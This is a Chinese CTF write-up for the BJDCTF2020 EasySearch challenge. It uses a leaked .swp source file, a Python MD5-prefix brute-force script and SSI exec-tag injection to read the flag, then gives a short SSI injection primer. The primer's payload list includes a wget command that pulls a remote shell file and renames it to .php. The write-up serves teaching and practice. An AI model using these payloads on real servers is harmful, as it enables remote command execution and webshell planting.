[BJDCTF2020]EasySearch

image-20240507141704802

easysearch,应该是让我们信息搜集的吧

所以扫后台发现index.php.swp备份。

查看该网址,发现源代码

<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

重点在admin那一段,要求上传的password和admin前6位一样

所以找一找有没有这样的字符串

写一个脚本

import hashlib

for i in range(1000000000):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if md5[0:6] == '6d0bc1':
print(str(i)+' | '+md5)

2020666是其中找到的一个

之后尝试使用用户名(随机)加找出来的可以使用的密码尝试

抓包发现url

image-20240507143223710

尝试进入

image-20240507143254859

因为是shtml文件,所以使用ssi注入,关于ssi注入最后会进行解释

其注入格式为:

<!--#exec cmd="命令" -->

所以,尝试命令

<!--#exec cmd="ls" -->

因为只有username被回显,所以命令通过username传上去

发现出现了大批回显,所以是可以实现的

但是这个文件里面没什么东西,所以往上层查查看

所以尝试命令

<!--#exec cmd="ls ../" -->

image-20240507145651365

发现flag

之后就是打开这个了

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

找到flag

ssi注入漏洞:

何为SSI注入

SSI注入全称Server-Side Includes Injection,即服务端包含注入。在stm、shtm、shtml等Web页面中,如果用户可以从外部输入SSI标签,而输入的内容会显示到上述后缀的Web页面时,就导致可以远程在Web应用中注入脚本来执行代码。

简单点说就是攻击者可以通过外部输入SSI标签到Web页面(stm、shtm、shtml文件)来动态执行代码。

SSI注入允许远程在Web应用中注入脚本来执行代码。简单点说就是攻击者可以通过外部输入SSI语句到Web页面来动态执行代码。

前提条件

攻击者要想进行SSI注入、在Web服务器上运行任意命令,需要满足下列几点前提条件才能成功:

  1. Web服务器支持并开启了SSI;
  2. Web应用程序在返回HTML页面时,嵌入了用户输入的内容;
  3. 外部输入的参数值未进行有效的过滤;
漏洞场景

一般地,在stm、shtm、shtml等文件中,存在XSS的页面,大概率是存在SSI注入漏洞的。也就是说,用户输入的内容会显示在页面中的场景。比如,一个存在反射型XSS漏洞的页面,如果输入的payload不是XSS代码而是SSI的标签,同时服务器又开启了对SSI的支持的话就会存在SSI注入漏洞。

常用语句

命令执行

Linux

列出目录文件:

<!--#exec cmd="ls" -->

访问目录:

<!--#exec cmd="cd /root/dir/">

执行脚本:

<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->

Windows

列出目录文件:

<!--#exec cmd="dir" -->

访问目录:

<!--#exec cmd="cd C:\admin\dir">